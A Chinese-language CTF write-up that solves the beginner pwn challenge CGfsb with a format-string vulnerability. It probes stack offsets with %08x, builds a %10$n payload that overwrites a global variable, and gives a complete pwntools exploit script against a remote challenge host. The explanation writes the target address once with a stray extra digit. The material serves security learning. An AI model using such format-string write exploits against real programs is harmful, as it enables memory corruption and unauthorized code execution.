攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解

在开始看这题之前,可以看CTF-wiki中有关格式化字符串漏洞的利用[link]https://wiki.x10sec.org/pwn/fmtstr/fmtstr_exploit/
这边就简单的介绍格式化字符串中覆盖内存的方式:%n$n,这串字符的意思是将前面打印的字符个数,写入到第n个指针对应的地址中,下面就以CGfsb这题来举个例子
查看文件基本信息:
攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解_第1张图片
攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解_第2张图片
攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解_第3张图片
用ida可以看到当pwnme=8的时候执行system函数,显示出flag。
我们要利用的就是printf((const char *)&message);它没有按照标准格式 printf("<格式化字符串>", <参量表>) ,所以存在格式化字符串漏洞,具体可以参考CTF-wiki的解释
同时也可以通过ida查看pwnme的地址,利用pwnme地址组成payload

接下来要组成payload

通过gdb,利用printf的漏洞,来查看栈中的字符的位置
攻防世界新手pwn题:CGfsb (格式化字符串漏洞)初解_第4张图片
当我们输入:message=AAAA %08x %08x %08x %08x %08x %08x %08x ,这里%08x就使输出8位进制地址,由于printf没有格式化字符串,它就会把我们输入的%08x当作格式化字符串,输出栈中的地址,我们可以看到AAAA的16进制数据41414141在栈中第10的位置。我们就可以构造payload

payload=p32(0x0804A0680)+“aaaa”+"%10$n"

解释:
%n$n*,将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置即%10:栈中第10的地址位置
1.p32(0x0804A0680)将pwnme的地址写入,即取代AAAA的位置,同时也代表4个字符
2. ”aaaa"因为pwnme要为8所以添加4个字符

整句payload的意思是写入pwnme的地址,同时利用**%10$n**,将8写入到pwnme的地址。

exp脚本

from pwn import *
io=remote("111.198.29.45","49496")
payload=p32(0x0804A068)+"aaaa"+"%10$n"
io.sendlineafter("please tell me your name:","aaa")
io.sendlineafter("leave your message please",payload)
io.interactive()

你可能感兴趣的:(攻防世界)